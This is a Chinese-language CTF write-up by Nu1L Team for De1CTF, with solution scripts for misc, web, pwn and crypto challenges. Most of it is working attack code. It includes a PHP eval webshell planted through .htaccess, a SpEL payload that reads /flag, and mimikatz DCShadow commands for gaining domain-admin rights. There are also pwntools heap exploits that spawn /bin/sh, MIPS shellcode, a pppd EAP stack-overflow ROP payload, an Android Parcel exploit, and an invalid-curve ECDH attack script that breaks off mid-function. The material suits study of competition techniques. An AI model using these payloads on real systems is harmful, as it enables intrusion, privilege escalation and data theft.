De1CTF WP

> Author:Nu1L Team

Misc

Misc杂烩/Misc Chowder

分离流量包里所有图片, 在一张png上得到https://drive.google.com/file/d/1JBdPj7eRaXuLCTFGn7AluAxmxQ4k1jvX/view

得到docx, 当压缩包打开, 得到You_found_me_Orz.zip, 根据提示爆破密码, 得到You_found_me_Orz.jpg, 从中分离rar压缩包, 用7z打开即可看到666.jpg:fffffffflllll.txt

mc_join

```
import time
import socket
import threading
import thread
import struct
```

```
def str2hex(data):
    res = ''
    for i in data:
        res += hex(ord(i)).replace('0x','')
    return res

def log(strLog):
    strs = time.strftime("%Y-%m-%d %H:%M:%S")
    print strs + " -> " + strLog

def start_thread(thread_class):
    thread.start_new_thread(thread_class.run, ())


class pipethreadSend(threading.Thread):
    '''
    classdocs
    '''
    def __init__(self,source,sink,recv_thread=None):
        '''
        Constructor
        '''
        threading.Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.recv_thread = recv_thread
        self.__is_runing = True
        log("New send Pipe create:%s->%s" %
(self.source.getpeername(),self.sink.getpeername()))
    def run(self):
        self.source.settimeout(60)
        while True:
            try:
                data = self.source.recv(4096)
                break
            except socket.timeout:
                continue
            except Exception as e:
                log("first Send message failed")
                log(str(e))
                self._end()
                return
        if data is None:
            log("first Send message none")
            self._end()
            return
        data =
data.replace('MC2020','20w14a').replace(':997',':710').replace('\x00\xca\x0
5','\x00\xe5\x07')
```

```
        # add verify here
        try:
            self.sink.send(data)

        except Exception:
            self._end()
            return

        self.source.settimeout(60)
        while self.__is_runing:
            try:
                try:
                    data = self.source.recv(4096)
                except socket.timeout:
                    continue
                if not data: break
                data =
data.replace('MC2020','20w14a').replace(':997',':710').replace('\x00\xca\x0
5','\x00\xe5\x07')
                self.sink.send(data)
            except Exception ,ex:
                log("redirect error:" + str(ex))
                break
        self._end()
    def terminate(self):
        self.__is_runing = False

    def _end(self):
        self.recv_thread.terminate()
        try:
            self.source.close()
            self.sink.close()
        except Exception:
            pass


class pipethreadRecv(threading.Thread):
    '''
    classdocs
    '''
    def __init__(self,source,sink,send_thread=None):
        '''
        Constructor
        '''
        threading.Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.key = ''
```

```
        self.send_thread = send_thread
        self.__is_runing = True
        log("New recv Pipe create:%s->%s" %
(self.source.getpeername(),self.sink.getpeername()))
    def run(self):
        self.source.settimeout(60)
        while True:
            try:
                data = self.source.recv(4096)
                break
            except socket.timeout:
                continue
            except Exception as e:
                log("first recv message failed")
                log(str(e))
                self._end()
                return
        if data is None:
            log("first recv message none")
            self._end()
            return
        print(data)
        data =
data.replace('MC2020','20w14a').replace(':997',':710').replace('\x00\xca\x0
5','\x00\xe5\x07')
        try:
            self.sink.send(data)

        except Exception:
            self._end()
            return
        self.source.settimeout(60)
        while self.__is_runing:
            try:
                try:
                    data = self.source.recv(4096)
                except socket.timeout:
                    continue
                if not data: break
                data =
data.replace('MC2020','20w14a').replace(':997',':710').replace('\x00\xca\x0
5','\x00\xe5\x07')
                self.sink.send(data)
            except Exception ,ex:
                log("redirect error:" + str(ex))
                break
        self._end()

    def terminate(self):
```

```
        self.__is_runing = False

    def _end(self):
        self.send_thread.terminate()
        try:
            self.source.close()
            self.sink.close()
        except Exception:
            pass

class portmap(threading.Thread):

    def __init__(self, port, newhost, newport, local_ip=''):
        threading.Thread.__init__(self)
        self.newhost = newhost
        self.newport = newport
        self.port = port
        self.local_ip = local_ip
        self.protocol = 'tcp'
        self.sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.sock.bind((self.local_ip, port))
        self.sock.listen(5)
        log("start listen protocol:%s,port:%d " % (self.protocol, port))

    def run(self):
        self.sock.settimeout(5)
        while True:
            try:
                newsock, address = self.sock.accept()
            except socket.timeout:
                continue
            log("new connection->protocol:%s,local port:%d,remote
address:%s" % (self.protocol, self.port,address[0]))
            fwd = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            try:
                fwd.connect((self.newhost,self.newport))
            except Exception ,ex:
                log("connet newhost error:" + str(ex))
                break
            p2 = pipethreadRecv(fwd, newsock)
            p1 = pipethreadSend(newsock, fwd, p2)
            p2.send_thread = p1
            start_thread(p1)
            start_thread(p2)
            # p1.start()
            # p2.start()
            # self.sock.listen(5)
class pipethreadUDP(threading.Thread):
    def __init__(self, connection, connectionTable, table_lock):
```

```
        threading.Thread.__init__(self)
        self.connection = connection
        self.connectionTable = connectionTable
        self.table_lock = table_lock
        log('new thread for new connction')
    def run(self):
        while True:
            try:
                data,addr = self.connection['socket'].recvfrom(4096)
                #log('recv from addr"%s' % str(addr))
            except Exception, ex:
                log("recvfrom error:" + str(ex))
                break
            try:
                self.connection['lock'].acquire()

 self.connection['Serversocket'].sendto(data,self.connection['address'])
                #log('sendto address:%s' % str(self.connection['address']))
            except Exception ,ex:
                log("sendto error:" + str(ex))
                break
            finally:self.connection['lock'].release()
            self.connection['time'] = time.time()
        self.connection['socket'].close()
        log("thread exit for: %s" % str(self.connection['address']))
        self.table_lock.acquire()
        self.connectionTable.pop(self.connection['address'])
        self.table_lock.release()
        log('Release udp connection for timeout:%s' %
str(self.connection['address']))
class portmapUDP(threading.Thread):
    def __init__(self, port, newhost, newport, local_ip=''):
        threading.Thread.__init__(self)
        self.newhost = newhost
        self.newport = newport
        self.port = port
        self.local_ip = local_ip
        self.sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        self.sock.bind((self.local_ip,port))
        self.connetcTable = {}
        self.port_lock = threading.Lock()
        self.table_lock = threading.Lock()
        self.timeout = 300
        #ScanUDP(self.connetcTable,self.table_lock).start()
        log('udp port redirect run-
>local_ip:%s,local_port:%d,remote_ip:%s,remote_port:%d' %
(local_ip,port,newhost,newport))
    def run(self):
        while True:
```

```
            data,addr = self.sock.recvfrom(4096)
            connection = None
            newsock = None
            self.table_lock.acquire()
            connection = self.connetcTable.get(addr)
            newconn = False
            if connection is None:
                connection = {}
                connection['address'] = addr
                newsock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                newsock.settimeout(self.timeout)
                connection['socket'] = newsock
                connection['lock'] = self.port_lock
                connection['Serversocket'] = self.sock
                connection['time'] = time.time()
                newconn = True
                log('new connection:%s' % str(addr))
            self.table_lock.release()
            try:
                connection['socket'].sendto(data,
(self.newhost,self.newport))
            except Exception ,ex:
                log("sendto error:" + str(ex))
                #break
            if newconn:
                self.connetcTable[addr] = connection
                t1 =
pipethreadUDP(connection,self.connetcTable,self.table_lock)
                t1.start()
        log('main thread exit')
        for key in self.connetcTable.keys():
            self.connetcTable[key]['socket'].close()
if __name__ == '__main__':
    myp = portmap(25565, '134.175.230.10', 25565)
    myp.start()
```

Web

clac

绕过被禁用的几个方式去执行命令/读取文件就行，flag就在/flag也不用列目录啥的了，最终Payload：

'calc':'T\x00(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T\x00(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/flag"))'

check in

能传.htaccess

php短标签可以绕

```
AddType application/x-httpd-p\
hp .zzz
p\
hp_value short_open_tag On
<? eval($_POST[a]);
```

Hard_Pentest_1&2

拿到webshell之后，通过域策略目录找到一个压缩包，以及一个账户，账户密码就是压缩包的密码。里面获取第一个Flag以及Hint，通过hint了解到，我们要去通过类似爆破的手法获取De1ta账户的权限，通过Kerberoast，爆破获取到密码，然后根据Hint获取了De1ta的ExtendRights，通过搜索发现ExtenRights符合Dcshadow的利用条件。

这个利用需要使用De1ta用户和System权限，De1ta有DM机器的Genric Write权限，利用资源委派本地提权。

然后在System beacon下执行（make token后）：

mimikatz !lsadump::dcshadow /object:De1ta /attribute:primaryGroupID /value:514

mimikatz @lsadump::dcshadow /push

即可修改De1ta用户的primaryGroupID属性，将其变为域管理员，随后直接使用这个账户通过smb打dc即可。

Pwn

stl_container

```python
from pwn import *


local = 0
# p = process('./stl_container')
p = remote('134.175.239.26', 8848)
context.log_level = 'debug'

def launch_gdb():
    if local != 1:
        return
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])

iii = 1
```

```python
def add(s):
    p.recvuntil('>> ')
    p.sendline(str(iii))
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('input data:')
    p.send(s)


def dele(i):
    p.recvuntil('>> ')
    p.sendline(str(iii))
    p.recvuntil('>> ')
    p.sendline('2')
    if iii == 3 or iii == 4:
        return
    p.recvuntil('index?')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>> ')
    p.sendline(str(iii))
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('index?')
    p.sendline(str(i))


launch_gdb()
for i in xrange(1,5):
    iii = i
    add('aaaa')
    add('aaaa')

iii = 2
dele(0)
for i in [1,3]:
    iii = i
    dele(0)
    dele(0)
iii = 4
dele(0)
iii = 2
dele(0)
for i in [3]:
    iii = i
    add('aaa')
    add('aaa')
iii = 4
```

```
add('aaa')
iii = 2
add('aaa')
iii = 1
add('aaa')
# iii = 2
# raw_input()
# add('a' * 0x98)
add('\xa0')
show(1)
p.recvuntil('data: ')
leak = p.recv(6) + '\x00\x00'
leak = u64(leak)
log.info(hex(leak))

libc_base = leak - 4111520
free_hook = 4118760 + libc_base
sys_addr = 324672 + libc_base
iii = 3
dele(0)
dele(0)
iii = 2
add('aaa')
dele(0)
dele(0)
iii = 3
add(p64(free_hook-0x8))
iii = 2
add('/bin/sh\x00' + p64(sys_addr))
# add('/bin/sh\x00')


p.interactive()
```

code_runner

先是一个爆破，爆完后会给一个binary，每次都会发生变化

简单的分析一下以后发现，有16个check，全部通过以后可以直接输入shellcode执行

直接提取出所有的check使用angr进行暴力。

发现存在一种pattern会使angr被卡死

```
    # asb(s[0]*s[0]-s[3]*s[3])?asb(s[1]*s[1]-s[2]*s[2])
    # asb(s[1]*s[1]-s[0]*s[0])?asb(s[2]*s[2]-s[3]*s[3])
```

针对这种pattern，将整个check函数中的关键部分进行hash，然后手动使用z3计算后打表保存即可

shellcode的可输入长度与check的通过速度有关，经过调试后发现在通过check的速度为1s时可以输入0xc个byte的shellcode，使用跳转将其跳回main函数，再次快速通过check输入一个新的shellcode来getshell即可

脚本需要电脑配置较高才可以跑出1s的速度

```
import angr
import claripy
import re
import hashlib
from capstone import *
import sys
from pwn import *
import time
from random import *
import os
import logging
logging.getLogger('angr').setLevel('ERROR')
logging.getLogger('angr.analyses').setLevel('ERROR')
logging.getLogger('pwnlib.asm').setLevel('ERROR')
logging.getLogger('angr.analyses.disassembly_utils').setLevel('ERROR')

context.log_level = "ERROR"

def pow(hash):
    for i in range(256):
        for j in range(256):
            for k in range(256):
                tmp = chr(i)+chr(j)+chr(k)
                if hash == hashlib.sha256(tmp).hexdigest():
                    print tmp
                    return tmp

#21190da8c2a736569d9448d950422a7a a1 < a2
#2a1fae6743ccdf0fcaf6f7af99e89f80 a2 <= a1
#8342e17221ff79ac5fdf46e63c25d99b a1 < a2
#51882b30d7af486bd0ab1ca844939644 a2 <= a1
tb = {
    "6aa134183aee6a219bd5530c5bcdedd7":{
        '21190da8c2a736569d9448d950422a7a':{
            '8342e17221ff79ac5fdf46e63c25d99b':"\\xed\\xd1\\xda\\x33",
            '51882b30d7af486bd0ab1ca844939644':"\\x87\\x6e\\x45\\x82"
        },
        '2a1fae6743ccdf0fcaf6f7af99e89f80':{
            '51882b30d7af486bd0ab1ca844939644':'\\xb7\\x13\\xdf\\x8d',
            '8342e17221ff79ac5fdf46e63c25d99b':'\\x2f\\x0f\\x2c\\x02'
        }
    },
    "745482f077c4bfffb29af97a1f3bd00a":{
```

```
        '21190da8c2a736569d9448d950422a7a':{
            '51882b30d7af486bd0ab1ca844939644':"\\x57\\xcf\\x81\\xe7",
            '8342e17221ff79ac5fdf46e63c25d99b':"\\x80\\xbb\\xdf\\xb1"
        },
        '2a1fae6743ccdf0fcaf6f7af99e89f80':{
            '51882b30d7af486bd0ab1ca844939644':"\\x95\\x3e\\xf7\\x4e",
            '8342e17221ff79ac5fdf46e63c25d99b':"\\x1a\\xc3\\x00\\x92"
        }
    },
    "610a69b424ab08ba6b1b2a1d3af58a4a":{
        '21190da8c2a736569d9448d950422a7a':{
            '51882b30d7af486bd0ab1ca844939644':"\\xfb\\xef\\x2b\\x2f",
            '8342e17221ff79ac5fdf46e63c25d99b':"\\x10\\xbd\\x00\\xac"
        },
        '2a1fae6743ccdf0fcaf6f7af99e89f80':{
            '51882b30d7af486bd0ab1ca844939644':'\\xbd\\x7a\\x55\\xd3',
            '8342e17221ff79ac5fdf46e63c25d99b':'\\xbc\\xbb\\xff\\x4a'
        }
    },
    "b93e4feb8889770d981ef5c24d82b6cc":{
        '21190da8c2a736569d9448d950422a7a':{
            '51882b30d7af486bd0ab1ca844939644':"\\x2f\\xfb\\xef\\x2b",
            '8342e17221ff79ac5fdf46e63c25d99b':"\\xac\\x10\\xbd\\x00"
        },
        '2a1fae6743ccdf0fcaf6f7af99e89f80':{
            '8342e17221ff79ac5fdf46e63c25d99b':'\\x4a\\xbc\\xbb\\xff',
            '51882b30d7af486bd0ab1ca844939644':'\\xd3\\xbd\\x7a\\x55'
        }
    }
}

def findhd(addr):
    while True:
        code = f[addr:addr + 4]
        if(code == "e0ffbd27".decode("hex")):
            return addr
        addr -= 4

def dejmp(code):
    c = ""
    d = Cs(CS_ARCH_MIPS,CS_MODE_MIPS32)
    for i in d.disasm(code,0):
        flag = 1
        if("b" in i.mnemonic or "j" in i.mnemonic):
            flag = 0
        #print("0x%x:\\t%s\\t%s"%(i.address,i.mnemonic,i.op_str))
        if flag == 1:
            c += code[i.address:i.address+4]
    return c
```

```
def calc(func_addr,find,avoid):
    start_address = func_addr
    state = p.factory.blank_state(addr=start_address)

    tmp_addr = 0x20000

    ans = claripy.BVS('ans', 4 * 8)
    state.memory.store(tmp_addr, ans)
    state.regs.a0 = 0x20000

    sm = p.factory.simgr(state)
    sm.explore(find=find,avoid=avoid)

    if sm.found:
        solution_state = sm.found[0]
        solution = solution_state.se.eval(ans)#,cast_to=str)
        # print(hex(solution))
        return p32(solution)[::-1]

def Calc(func_addr,find,avoid):
    try:
        tmp1 = hashlib.md5(dejmp(f[avoid - 0x80:avoid])).hexdigest()
        tmp2 = hashlib.md5(f[avoid-0xdc:avoid-0xdc+4]).hexdigest()
        tmp3 = hashlib.md5((f[avoid - 0x24:avoid-0x20])).hexdigest()
        return tb[tmp1][tmp2][tmp3]
    except:
        try:
            ret = calc(func_addr + base,find + base,avoid + base)
            return ret
        except:
            print "%s %s %s %x"%(tmp1,tmp2,tmp3,func_addr)

while True:
    try:
        os.system("rm out.gz")
        os.system("rm out")
        r = remote("106.53.114.216",9999)

        r.recvline()
        sha = r.recvline()
        sha = sha.split("\\"")[1]
        s = pow(sha)
        r.sendline(s)

        log.success("pass pow")
        r.recvuntil("===============\\n")
        dump = r.recvline()
```

```
log.success("write gz")

o = open("out.gz","wb")
o.write(dump.decode("base64"))
o.close()

log.success("gunzip")
os.system("gzip -d out.gz")
os.system("chmod 777 out")
log.success("angr")
filename = "out"
base = 0x400000
p = angr.Project(filename,auto_load_libs = False)
f = open(filename,"rb").read()
final = 0xb30

vd = [i.start()for i in re.finditer("25100000".decode("hex"),f)]
vd = vd[::-1]
chk = ""
n = 0
for i in range(len(vd) - 1):
    if(vd[i] <= 0x2000):
        n += 1
        func = findhd(vd[i])
        find = findhd(vd[i + 1])
        avoid = vd[i]
        ret = Calc(func,find,avoid)
        # print ret
        chk += ret
n += 1
func = findhd(vd[len(vd) - 1])
find = final
avoid = vd[len(vd) - 1]
ret = Calc(func,find,avoid)
# print ret
chk += ret

print chk.encode("hex")
r.recvuntil("Faster")
r.sendafter(">",chk)
context.arch = 'mips'
success(r.recvuntil("Name"))
r.sendafter(">","g"*8)
ret_addr = vd[1]-0x34-0x240+base
success(hex(ret_addr))
shellcode = 'la $v1,{};'.format(hex(ret_addr))
shellcode += 'jr $v1;'
shellcode = asm(shellcode)
print(shellcode.encode('hex'))
```

```
        r.sendafter(">",shellcode)
        r.sendafter("Faster > ",chk)
        success(r.recvuntil("Name"))
        r.sendafter(">","gg")
        shellcode = ''
        shellcode += "\\xff\\xff\\x06\\x28"
        shellcode += "\\xff\\xff\\xd0\\x04"
        shellcode += "\\xff\\xff\\x05\\x28"
        shellcode += "\\x01\\x10\\xe4\\x27"
        shellcode += "\\x0f\\xf0\\x84\\x24"
        shellcode += "\\xab\\x0f\\x02\\x24"
        shellcode += "\\x0c\\x01\\x01\\x01"
        shellcode += "/bin/sh"
        print(len(shellcode))
        r.sendafter(">",shellcode)
        r.interactive()
    except Exception as e:
        print e
```

BroadCastTest

https://xz.aliyun.com/t/2364#toc-0

```
Parcel data = Parcel.obtain();
data.writeInt(4); // entries
// id
data.writeString("id");
data.writeInt(1);
data.writeInt(233);
// class
data.writeString("test");
data.writeInt(4); // value is Parcelable
data.writeString("com.delta.broadcasttest.MainActivity$Message");
data.writeString("233");
for(int i=0;i<16;i++)
{
data.writeInt(0);
}
data.writeInt(0xdeadbeef); // vul var
data.writeInt(0);

// fake str
data.writeInt(29);

data.writeInt(0xdeadbeef);
data.writeInt(9);
data.writeInt(0);
data.writeInt(7);
```

```
data.writeInt(7274595);
data.writeInt(7143533);
data.writeInt(7209057);
data.writeInt(100);
data.writeInt(0);
data.writeInt(7);
data.writeInt(6619239);
data.writeInt(6684788);
data.writeInt(6357100);
data.writeInt(0x67);
data.writeInt(0);

data.writeInt(0); // value is string
data.writeString("aaa");

data.writeString("command"); // bytearray data -> hidden key

data.writeInt(0); // value is string

data.writeString("aaaaaaaaaaaaaaaaaaaaaaaaa");

data.writeString("A padding");

data.writeInt(0); // value is string

data.writeString("to match pair count");

int length = data.dataSize();

Parcel bndl = Parcel.obtain();

bndl.writeInt(length);

bndl.writeInt(0x4C444E42); // bundle magic

bndl.appendFrom(data, 0, length);

bndl.setDataPosition(0);

byte[] v4 = bndl.marshall();

TextView t = findViewById(R.id.hw);
String s = bytesToHex(v4);
```

exp:

```
from pwn import *
from hashlib import sha256
import string
```

```
context.log_level = 'debug'

def get_a(a):
    for i1 in string.printable:
        for i2 in string.printable:
            for i3 in string.printable:
                for i4 in string.printable:
                    aa = i1+i2+i3+i4
                    if sha256(a + aa).digest().startswith(b'\\0\\0\\0'):
                        print(aa)
                        return aa
# nc 206.189.186.98 8848
p = remote('206.189.186.98',8848)
payload =
'CC010000424E444C040000000200000069006400000000000100000E90000000400000074
00650073007400000000000040000002C00000063006F006D002E00640065003100740061002
E00620072006F006100640063006100730074007400650073007400 2E004D00610069006E00
41006300740069007600690074007900240004D00650073007300610067006500000000000030
0000032003300330000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000E
FBEADDE000000001D000000EFBEADDE09000000A400000007000000063006F006D006D006100
6E00640000000000000007000000670065007400660060C00610067000000000000000000000
0030000006100610061000000070000006300 6F006D006D0061006E00640000000000000001A
0000006100610061006100610061006100610061006100610061006100610061006100610061006
1006100610061006100610061006100610061000000000009000000410020007000610064006400
69006E00670000000000000130000007400 6F0020006D00610074006300680020007000610
0690072002000630 06F0075006E0074000000'.decode('hex')

p.recvuntil('chal= ')
a = p.recvline()
a = a.replace('\\n','')
print(a)
p.send(get_a(a))
p.recvuntil('size')
p.sendline(str(len(payload)))
p.recvuntil('payload:')
p.send(payload)
p.interactive()
```

pppd

```
git clone <https://github.com/paulusmack/ppp.git>
cd ppp/
git checkout ppp-2.4.8          // 切换到存在漏洞的分支
修改eap.c 1453行左右为下面代码
./configure
make -j8
make install
```

```
char sc[1024] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\xb8\
\x28\\x42\\x00Saaaaaaaaaaaaaaaaaaaaaaa\\x10\\x00\\x31\\x26\\x09\\xf8\\x20\\
x02\\x00\\x00\\x00\\x00\\x34\\xc7\\x43\\x00"

"\\x00\\x00\\x09\\x24\\x04\\x00\\xa9\\xaf\\x61\\x67\\x09\\x3c\\x66\\x6c\\x2
9\\x35\\x00\\x00\\xa9\\xaf\\xa5\\x0f\\x02\\x24\\x00\\x00\\xa4\\x27\\x26\\x2
8\\xa5\\x00\\x26\\x30\\xc6\\x00\\x0c\\x01\\x01\\x01"

"\\x25\\x20\\x40\\x00\\xa3\\x0f\\x02\\x24\\x4a\\x00\\x05\\x3c\\x30\\x59\\xa
5\\x34\\x00\\x01\\x06\\x24\\x0c\\x01\\x01\\x01"

"\\x04\\x00\\x04\\x24\\x4a\\x00\\x05\\x3c\\x30\\x59\\xa5\\x34\\x00\\x01\\x0
6\\x24\\x42\\x00\\x11\\x3c\\x98\\x66\\x31\\x36\\x09\\xf8\\x20\\x02\\x00\\x0
0\\x00\\x00";

        eap_chap_response(esp, id, hash,sc,1024);
```

eap.c 源代码 eap_request() 的函数中，在 EAPT_MD5CHAP 分支下，手动 patch 代码，加入发送到服务端的 payload，栈溢出→ROP→执行shellcode

pppd noauth local lock defaultroute debug nodetach /tmp/serial 9600

Crypto

ECDH

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
```

```python
from pwn import *
from gmpy2 import invert
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sympy.ntheory.modular import crt
import os, sys, IPython, string, itertools, hashlib

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8
zero = (0, 0)
Px = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca
Py = 0x49ee01169c130f25853b66b1b97437fb28cfc8ba38b9f497c78f4a09c17a7ab2
P = (Px,Py)

def add(p1,p2):
  if p1 == zero:
    return p2
  if p2 == zero:
    return p1
  (p1x,p1y),(p2x,p2y) = p1,p2
  if p1x == p2x and (p1y != p2y or p1y == 0):
      return zero
  if p1x == p2x:
      tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q
  else:
      tmp = (p2y - p1y) * invert(p2x - p1x , q) % q
  x = (tmp * tmp - p1x - p2x) % q
  y = (tmp * (p1x - x) - p1y) % q
  return (int(x),int(y))


def mul(n,p):
  r = zero
  tmp = p
  while 0 < n:
      if n & 1 == 1:
          r = add(r,tmp)
      n, tmp = n >> 1, add(tmp,tmp)
  return r

def pad(m):
  pad_length = q.bit_length()*2 - len(m)
  for _ in range(pad_length):
    m.insert(0,0)
  return m

def pointToKeys(p):
  x = p[0]
  y = p[1]
```

```
  tmp = x << q.bit_length() | y
  res = pad([int(i) for i in list('{0:0b}'.format(tmp))])
  return res

def keyToPoint(key):
  tmp = int(''.join(map(str, key)), 2)
  y = tmp & (pow(2, 256) - 1)
  x = (tmp >> 256) & (pow(2, 256) - 1)
  return (x,y)

points = [
    (5,
(20808069300207100183274602530191091934616421500415559983001767812694046383
293,
20559353338036485891917988797636211182383516921335252068871436982466894238799)),
    (89,
(87321197774501402310611885646409219233795421054641609481828830143175436651426,
46690193045262232956157551695039610882438055730966628515972637060969563309866)),
    (2,
(491780995498354974960928047530819952719295471400190440508688553653903968078 36, 0)),
    (7,
(86146125282727845562122226604071938057523980421707149246250725876033942274 93,
60999276748002641768932145448490437183358990373970513531975063513773206409 04)),
    (11,
(51008778008673391062497828469861484466455044069701244145183958073802135538658,
52343330674067593554002162769297014839238152575733026548398468083648346311980)),
    (17,
(14696750475467784215169583906294161001133971866462370789734677852973205374217,
70246578250168988577059535001215557970886591756165905998984794144345766727315)),
    (19,
(20895542366258576140632165340163552561554430495525835251523963420841741236644,
70271049528194866296775276240969072358811526511213523914990239658433324195212)),
    (223,
(33915843799094333545554760659572845786178346115436807542504557673181864481403,
49619386549057389815262793510455251928986713682965782813670162735046584202 02)),
```

```
    (3,
(8415989168750876778402642057170669106587392113089544395047538634096376196401
6,
7454646863968907004495431791787782849653215837869816893251171125135645262093
93)),
    (8581,
(3347037216972273493712811741334060630522655058557840068754826586635388321565
1,
5832002675266443233860023975432157949813090169375266608179645402655758767682
4)),
    (227,
(5360869964475083507049281872938041970422486512928996879898618400264543912199
8,
9712574736324070197583893321992054452835963180027267833862812994550894003597
8)),
    (8447,
(9146146079210656653404935003372718061311815747357596139849473284109233259898
,
2458990819229527811038280536530158854425788463190946887594794182763906240410
3)),
    (107,
(1070867309403442884645141977816711698810840888721511156350212198416081892668
0,
5409402747648744339914313228187953428179613081234303707232076751223054557769
1)),
    (2269,
(5949064594347504736181459263977791822248413326200312453837864065256440813989
3,
8991116361013482026227571439733368527370728967532388155524293622427722110557
7)),
    (13,
(5081324778000947666718150634008772021907683621781584603191618304303536457626
9,
3570332276568614577288140397433380768942565703995894675986477035482623383409
9)),
    (23,
(9403040796033096025863423678125755934475301581184276990865614490698825888164
6,
1070885542105990344158221973817583518802608719236859225787370980871780894530
1)),
    (53,
(2860937487913666226228895168250135366411147620135738302124332652040450276473
1,
4703594245058440928250476526421060985353542902933522533388407417363286070751
7)),
```

```
    (8887,
(59862301912251085345514763921816766523276663413662381298623422582341001672
108,
51777893734442153214896587039604632332828187569703446548587649528717568275138)),
    (337,
(19516183542063049445556856824103689173030070209813461115077216334013878038397,
22087722494813168546670320200605550934222311427116658463350489485482196165223)),
    (5273,
(46348766474975820016718266202930612934374051650124311390712813326347869618956,
35718744895231655156050183513390370075966801924179360048410470603983711177455)),
    (457,
(30109681826650770286832804444641171785449647086753924059170517664271518614827,
42721864400879111084030695998219920258562341356772203191767366752094852302935)),
    (97,
(30230760885355357028719810962776948731510346336167684991841989772111980127180,
90808363699540077784872373863533462918142863300758368233133844084849694645477)),
    (61,
(48775176294425274397879979550080275719919880113341178907151427600493536960627,
32150820250671840903708040072142789719411407426905478528432783223363014869295)),
    (1163,
(66477330604121050769013664729461625332682836650615614624502258541300122444486,
76402024600702538961071274100814685892572073681464525812677536765209544507220)),
    (367,
(49457425324598317599371211071689905886052889524828363188073867801883975888819,
21262142247741251516000496077990713642575747055844842229605379740014039490794)),
    (2437,
(37297992015356349674637948601585772480716755197390682409511710065255051579542,
70781114639095303849761702559832614265888802170742057084310944537013083286084)),
```

```
    (101,
(284233408525262009656554817573962370231978539308615377304032721218475139245
13,
109936345924795138329877192922107557825598875221490339194468352183360454696
33)),
    (151,
(520825009343930473469705764949594153310690446199921844258771936085774458580
90,
193597290919150535329159319354339256481883289440324982878831719606752839182
13)),
    (31,
(733265119095616870171461610033071113483285639241388529674967772448608123218
94,
281871501939047756026148723580356175682835635155993764731841571456267480841
24)),
    (421,
(882318612108011546193865777145044948737930950497457571008714555585753282687
49,
504632716002732888188256343547425284921054997216288077475575685478396955857
79)),
    (1259,
(346445643313393255597818168427290979217235851481993434943137715658556961177
79,
698779366785443080949114924188664977697178444153574587258155516617846330104
15)),
    (113,
(386842436787493177935385700327549078851486685635868709697030840732942730839
82,
139414435860418342968844029406658220789106955841536367237824869423284730699
12)),
    (1951,
(649282185193135830483843545059763389176161603722553998565164457393981141036
50,
750610435694423408847399030741170182449145424849243064262109663786954044779
11)),
    (29,
(583506186675841176741164377687081120396698242879656579443303083282021515815
89,
609773958596478582938995660570349864254655165062858184340490081458046893617
46)),
    (137,
(259242577637709330288123669712209651135856541908955748790171314652367022469
01,37488570461956678061061276427985993923637049856207858380548225051724829
63475)),
    (41,
(558556423128904845946631054366033444076712290623357978683651059593065365970
47,
707082564620419755510422929861906159448045297094354530229052251546632442962
11)),
```

```
    (127,
(28622122589312150132093528303919276455398830314700482306493152171110867066
704,
89540489917049940971862777517389379900796022507604236451601583778826633132
22)),
    ]

# sanity check
Sigma = 1
for order, point in points:
  Sigma *= order
  assert mul(order, point) == zero
assert Sigma > order

#p = remote("localhost", 8848)
p = remote("134.175.225.42", 8848)

def exchange(x,y,first=False):
  if not first:
    p.sendlineafter('choice:', 'Exchange')
  p.sendlineafter('X:', str(x))
  p.sendlineafter('Y:', str(y))

def getkey():
  p.sendlineafter('choice:', 'Encrypt')
  p.sendlineafter('(hex):', 'f' * 128)
  p.recvuntil('is:\n')
  result = bytes_to_long(p.recvline().strip().decode('hex'))
  key = [0] * 512
  for i in reversed(range(512)):
    key[i] = (result & 1) ^ 1
    result >>= 1
  return key

def backdoor(s):
  p.sendlineafter('choice:', 'Backdoor')
  p.sendlineafter('secret:', str(s))

def proof_of_work(chal, h):
  for comb in itertools.product(string.ascii_letters + string.digits,
repeat=4):
